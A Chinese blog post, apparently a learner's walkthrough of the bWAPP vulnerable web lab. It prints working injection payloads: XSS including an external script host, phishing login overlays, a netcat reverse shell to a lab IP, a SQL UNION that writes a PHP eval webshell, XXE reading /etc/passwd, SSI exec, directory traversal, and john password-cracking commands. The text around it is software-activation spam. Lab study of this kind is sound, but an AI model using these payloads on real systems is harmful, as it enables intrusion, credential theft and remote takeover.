大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE稳定放心使用
A1注入
html injection:
low:最基础的xss注入:
xss测试
1.get
<script>alert(/xss/)</script>
跳转
<a href="https://www.baidu.com/">点击这儿领红包</a>
获取cookie:
<script>alert(document.cookie)</script>)
xss平台利用:
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/L0oJ></sCrIpT>
xss平台:
medium:
此时直接注入已经不能执行了
由于是get注入,考虑进行url编码:
<a href="https://www.baidu.com">click it <a>
%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3e%63%6c%69%63%6b%20%69%74%20%3c%61%3e
同样跳到百度
high:
可以看到源码将<>’’&进行编码,并且使用htmlspecialchars将html转化为实体,本来如果没有ENT_QUOTES参数的话还可以考虑使用单引号闭合 ’ firstname=’alert(111)’来绕过,暂时没办法了
2.post
没什么好说的,只是表单提交方式变了而已
3.current url
核心代码如上,url只能是来自请求头的host和url
low:
修改host
修改url:
url会自动忽略#和//
这个中高级我没办法
储存型xss:
1
low,这个和反射性xss不一样的地方在于,反射性xss是一次性的,而存储型xss是只要浏览页面就会一直存在
而存储型xss相对来说危害性更大:
比如伪造一个登录框:
<form action="http://www.baidu.com">
<input type="text" name="username"></input>
<input type="text" name="password"></input>
<input type="submit">
</form>
当我在提交数据时,仍然出现了xss弹窗
当然也可以更加逼真的登录框:
#伪造登录
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.101 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
或者也可覆盖原页面:
<form action="http://www.baidu.com" method="POST">
<table>
<tr>
<td colspan="6"><p><textarea name="entry" id="entry" cols="80" rows="3"></textarea></p></td>
</tr>
<tr>
<td width="79" align="left">
<button type="submit" name="blog" value="submit">Submit</button>
</td>
<td width="85" align="center">
<label for="entry_add">Add:</label>
<input type="checkbox" id="entry_add" name="entry_add" value="" checked="on">
</td>
<td width="100" align="center">
<label for="entry_all">Show all:</label>
<input type="checkbox" id="entry_all" name="entry_all" value="">
</td>
<td width="106" align="center">
<label for="entry_delete">Delete:</label>
<input type="checkbox" id="entry_delete" name="entry_delete" value="">
</td>
<td width="7"></td>
<td align="left"><?php echo $message;?></td>
</tr>
</table>
</form>
中高级使用的函数是:mysqli_real_escape_string
转义特殊字符
iFrame Injection
low
iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
首先ParamUrl可以进行任意文件读取,同时也可以打开其它网站
iframei.php?ParamUrl=./666&ParamWidth=250&ParamHeight=250
中级:
此时的ParamUrl已经不可控了,所以考虑从别的地方下手
而这些参数使用了<iframe 标签,所以可以考虑闭合此标签和引号
if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{
?>
<iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
使用:"?></iframe><script>alert(/xss/)</script><iframe>
LDAP Connection Settings
LDAP:Lightweight Directory Access Protocol(轻量级的目录访问协议)
首先了解一下LDAP语法:
dn表示一条记录所处的位置
dc表示一条记录所属的区域
ou表示所属组织
cn表示记录名字
可以将LDAP看作数据库
dc(数据库)-ou(表)-cn(字段)
或者看成树
dc(根)-ou(分支)-cn(名字)
=:(Name=ring) 查找name等于ring的对象
&:(&(Name=ring)(age=14))查找名字为ring且年龄为14的对象
|:(|(Name=ring)(age=14))查找名字为ring或者年龄为14的对象
!?!Name=ring)查找name不为ring的对象
:(Name=)查找所有name不为空的对象
LDAP的形式如下:
ldap://<host>:<prot>/<path>
例如:
ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)
LDAP注入:
LDAP注入与sql注入很像,
1.AND注入:
假如后端语句为:
(&(parameter1=value1)(parameter2=value2))
那么攻击者可以对此进行绕过
例如:
(&(username=username)(password=password))
而这里就可以进行类似于sql注入的联合注入,
构造payload:(&(usesrname=username)(&)(password=password))
因为服务器只处理第一个过滤器,即仅查询(&(username=username)(&))
只要输入的username正确,这个表达式就永真,就可以使用任意密码进入
2.权限提升
(&(directory=document)(security_level=low))
document是用户入口,low是安全等级,如果攻击者想看高安全等级的文档,他可以利用:
document)(security_level=*))(&(directory=documents
这样服务器生成的过滤器为:
(&(directory=document)(security_level=*))(&(directory=documents)(security_level=low))
那么&(directory=documents)(security_level=low))
就被忽略了
还有or注入,盲注等等,原理跟sql注入差不多
不同的有发现属性和字符集消减
可参见:
https://blog.csdn.net/quiet_girl/article/details/50716312
Mail Header Injection
邮箱系统使用SMTP协议
SMTP协议:建立在FTP文件传输服务上一种可靠的电子邮件传协议
对应的SMTP服务端口为25
例如:邮箱从c@163.com到www.s.com网页的s@163.com过程如下:
s:(等待连接)
c:(打开与服务器的连接)
s:220 www.s.com SMTP service ready(服务器连接TCP就绪)
c:HELLO www.s.com
s:250 www.s.com says hello
c:MAIL.FROM:c@163.com
s:250 ok
c:RCPT TO :s@163.com
s:250 ok
c:DATA
s:354 Start mail input;end with<CRLF>.<CRLF>
c:传输邮件
c:<CRLF>.<CRLF>
s:250 ok
c:QUIT
s:221 www.s.com Service closing transmission channel
搜索了一下SMTP注入:
首先我们需要一个有效的账户,并且格式为:
发送方的e-mail地址
接收方的e-mail地址
主题
消息主体
附件
1.cc/bcc注入:
在发送者字段(sender)后注入cc(carbon copy抄送,)和bcc(隐藏抄送)参数(两者的区别在于在BCC栏中的收件人可以看到所有的收件人名(TO,CC,BCC),而在TO 和CC栏中的收件人看不到BBC的收件人名。)
From:sender@163.com%0ACc:1@163.com%0ABcc:2@163.com
现在所有的消息都会被发送到1和2账号
2.参数注入
From:sender@163.com%0ATo:hack@163.com
消息被发送到原来的收件人和攻击者账号
3.邮件主题注入:
From:sender@163.com%0A Subject:This is fake subject
这样原来的主题就被修改为this is fake subject(不过这个取决于代码编写的容错性,出现两个subject时时选择丢弃还是后者覆盖)
4.改变消息的主题body
From:sender@163.com %0A%0A this is fake message
this is a fake message被添加到原消息中
OS Command Injection
low:
由于默认执行了www.nsa.gov,这里可以使用&来进行多条命令的执行
www.nsa.gov&whoami
进行反弹shell
由于我是windows,就不演示反弹shell了
如果是linux,还可以使用;将命令隔开,从左往右执行
medium:
使用管道|就行;
high:
这里commix上场,用法参照:
https://blog.csdn.net/xiaohua_de/article/details/80767090
不过用commix扫容易把服务器扫崩
OS Command Injection – Blind
由于没有返回值,通过时间盲注
不执行命令时在5毫秒
ping 127.0.0.1 在90多左右
执行错误命令时在1000以上
执行两个正确命令时在100-200之间
通过时间可以判断是否执行命令,所以这里最好用的还是反弹shell
127.0.0.1 && nc -vn 192.168.91.141 4444 -e /bin/bash
high还是通过commix
PHP Code Injection
low
url/phpi.php?message=exec("whoami")
url/phpi.php?message=phpinfo()
但是最有用的还是反弹shell
当然还可以使用wget来直接下载木马(可惜我是windows)
Server-Side Includes (SSI) Injection
SSI:服务器断包含
语法:
<#echo>显示服务器端环境变量
<#include>将文本内容直接插入到文档中
…
SSI命令基本格式:
<!--指令名称=“指令参数”> 例如:<!--#exec cmd="cat /etc/passwd"-->
如果服务器不支持SSI, 会被忽略,SSI大小写敏感
low和medium都没有对html进行过滤,都存在反射性xss
当然low也存在着ssi:
<!--#exec cmd="ipconfig"-->
SQL Injection (GET/Search)
low:根据:1' union select 1,login,password,email,5,6,7 from users #
爆出密码后,尝试使用john激活成功教程:
关于john:
/etc/shadow记录了所有用户名及其密码hash值
john爆破密码:
默认模式:
john --user=bee shadow
简单模式:
john --single --user=bee passwd_shadow
基于字典:
john --wordlist=username.txt --user=bee shadow
incremental(逐个遍历的爆破模式):
john --incremental:digits --user=bee shadow
这里注意,参照表如下:
激活成功教程模式的具体方法 激活成功教程的密码长度 所包含的字符
Incremental:all 0-8 All 95 printable ASCII characters
Incremental:all15 0-5 All 95 printable ASCII characters
Incremental:all6 6 All 95 printable ASCII characters
Incremental:all7 7 All 95 printable ASCII characters
Incremental:all8 8 All 95 printable ASCII characters
Incremental:alpha 1-8 A-Z 纯大写字母
Incremental:digits 1-8 0-9 纯数字
Incremental:lanman 0-7 A-Z, 0-9, and some special characters (大写字母,数字加 一些特殊字符)
预定义密码激活成功教程的类型(md5/bf/sha/…)
john --format=sha512crpty shadow
john字典爆破:
john -w:password.list --format=sha512crypt shadow
(这里的shadow为储存hash密码的文件,激活成功教程过的密码会储存在home目录下的隐藏文件.john/john.pot)
*home目录下的.john/john.pot会记录所有激活成功教程过的密码,如果不清除将无法重复激活成功教程已经激活成功教程过的用户
详情参照:
https://klionsec.github.io/2017/04/26/use-john/
https://blog.csdn.net/qq_37960324/article/details/83022216
回到题目,除了常规的注入,还可以进行文件写入:
1' union select 1,2,3,4,5,6,"<?php echo 'a';eval($_POST[a]);?>" into outfile 'C:\phpStudy\PHPTutorial\WWW\bWAPP\bWAPP\1.php'#
SQL Injection (GET/Select)
low:
0 union select 1,login,3,email,password,6,7 from users
medium:
1 and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))#
SQL Injection (AJAX/JSON/jQuery):
AJAX:
Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)
AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。(即动态网页)
举个例子:
<button type="button" onclick="loadxmldoc()">修改内容</button>
<head>
<script> function loadxmldoc() {
.......AJAX脚本.... } </script>
</head>
使用ajax前,先创建XMLHttpRequest对象
现在的浏览器都内建了XMLHttpRequest
variable=new XMLHttpRequest();
老版的ie5,ie6使用ActiveX对象
variable=new ActiveObject(“Microsoft.XMLHTTP”)
AJAX向服务器发送请求
使用XMLHttpRequest对象的open和send
xmlhttp.open(“method”,“url”,async);
method:get或者post方法
async:true(异步),false(同步)
xmlhttp.send(string);仅用于post请求
例如:
xmlhttp.open(“POST”,”/try/ajax/demo_post2.php”,true);
xmlhttp.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
xmlhttp.send(“fname=Henry&lname=Ford”);
服务器响应:
responseText
responseXML
详情参照
https://www.runoob.com/ajax/ajax-tutorial.html
核心代码:
$("#title").keyup(function(){
//输入框的name为title
// Searches for a movie title
var search = {
title: $("#title").val()};//创建一个key:value赋值给seach
// AJAX call
$.getJSON("sqli_10-2.php", search, function(data){
init_table();
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){
total++;
$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
});//从json中取数据
// Empty result
if (total == 0)
{
$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
}
})
});
所以以上是sqli-10-2.php把数据提交给此文件,正常查询时使用get方法
。。。。。这里是真没看懂,先做下记录
直接提交:http://192.168.1.102/bWAPP/sqli_10-2.php?title=a 不行
需要修改referer:http://192.168.1.102/bWAPP/sqli_10-1.php?search=a
这个也没复现出来。。。
paylaod:?title=I%%27+UNION+SELECT+1,2,3,4,version(),6,7+--+
(注意执行这个是在sqli_10-2.php)
paylaod:http://192.168.91.141/bWAPP/bWAPP/sqli_10-2.php?title=I%%27+UNION+SELECT+1,login,3,email,password,6,7%20from%20users+--+
验证码那个完全不知道漏洞点在哪,跳过
SQL Injection (Login Form/Hero)
bee' or 1=1#
永真绕过
SQL Injection (Login Form/User)
' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
1
SQL Injection (SQLite)
参照:
https://www.cnblogs.com/kagari/p/11631085.html
SQL Injection – Stored (XML)(xxe):
注意,这里需要改一下php的配置文件,php-ini,将;always_populate_raw_post_data = -1前面的分号注释去掉(如果还是不行,将php设置为较高版本)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<rest>
<login>&test;</login>
<secret>login</secret>
</rest>
A2
Broken Auth. – CAPTCHA Bypassing
验证码不实时更新,造成暴力激活成功教程
使用抓包拦截,爆破
Broken Auth. – Forgotten Function
同样的对邮箱爆破
Weak Passwords
low:
test
test
medium:
test
test123
high:
test
Test123
Session Mgmt. – Administrative Portals
url:admin=1
Session Mgmt. – Cookies (Secure)+Cookies (HTTPOnly)
抓包修改:security_level=0; PHPSESSID=g7t91om7h4iuh70dadbt4h3rs7; top_security=no<script>alert(/xss/)</script>
A3:xss
XSS – Reflected (POST)+GET
使用xss平台,反射性xss需要伪造外形,来诱导别人点它
XSS – Reflected (JSON)
源码:
var JSONResponseString = '<?php echo $string ?>';
// var JSONResponse = eval ("(" + JSONResponseString + ")");
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
假设string=’{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}'
进行绕过:"}]}';alert(/xss/)</script>(}]}与前面的括号闭合,'是与string='的引号闭合)
Reflected (AJAX/JSON)
动态网页,输入之后就一直弹窗
<img src=1.png onload=alert(/xss/)> 一直加载
<img src=1.png onerror=alert()> 一直弹窗
这个容易让靶机崩掉
Reflected (AJAX/XML)
html实体转义(不知道大神们都是怎么想的,反正我看不出来)
<img src=0 οnerrοr="alert(1)">
Reflected (Back Button)
在网页源码里可以看见如下关键语句:
go back 按钮是引用的refer的值
'"><img src=1.png onerror=alert(/xss/)>
通过抓包修改refer的值
Reflected (Custom Header)
需要在HTTP的头部加入bWAPP字段即可 Palyload: bWAPP:
Reflected (Eval)
关键语句:
eval("document.write(Date())");
在url里可以看到:
http://192.168.91.141/bWAPP/bWAPP/xss_eval.php?date=Date()
通过data参数来alert(1),弹窗
Reflected (HREF)
根据几次试验,猜测后台将输入的name写入a标签,再进行跳转
<a herf=name></a>
所以构造:name=></a><script>alert(1)</script>
Reflected (Login Form)
使用万能密码进行绕过
1' or 1=1' <script>alert(/xss/)</script>
phpMyAdmin BBCode Tag XSS(CVE-2010-4480)
已知漏洞
?error=[a@http://www.baidu.com@]XSS@[/a]
php_self
在这个靶机很简单,直接<script>alert(1)</script>
关于php_self详细参考
https://www.jianshu.com/p/b0c8ae980fea
PHP_SELF
PHP_SELF是一个返回正在执行的当前脚本的变量。此变量返回当前文件的名称和路径(来自根文件夹)
如果再页面中使用:
<form name="test" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
如果用户输入正常,假如为/login.php
则页面是:<form name="test" action="login.php" method="post">
正常访问到url/login.php
但是,假如输入的是:
url/login.php"/><script>alert(1)</script><!--
那么语句久变成:<form name="test" action="login.php"/><script>alert(1)</script><!--" method="post">
从而形成xss
Reflected (Referer)
抓包修改referer
user-agent也是一样
到此,反射型xss告一段落
————————————————————————————————————
储存型xss:
SQLiteManager XSS(CVE-2012-5105)
也是一个已知漏洞
sqlite/index.php?dbsel=1"><script>alert(1)</script>
A4
Insecure DOR (Change Secret)
通过抓包就能看到用户名了
xxe:
A5:先跳过
A6:
Directory Traversal – Directories
http://192.168.91.141/bWAPP/bWAPP/directory_traversal_2.php?directory=../../../../../
Directory Traversal – Files
http://192.168.91.141/bWAPP/bWAPP/directory_traversal_1.php?page=../../1.php
Host Header Attack (Cache Poisoning)
Remote & Local File Inclusion (RFI/LFI)
http://192.168.91.141/bWAPP/bWAPP/rlfi.php?language=../../flag.txt&action=go
PHP Eval Function
http://192.168.91.141/bWAPP/bWAPP/php_eval.php?eval=echo%20shell_exec(%22ipconfig%22);
这些都属于比较基础的东西,到此为止,对于骚东西,之后再写
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/190096.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...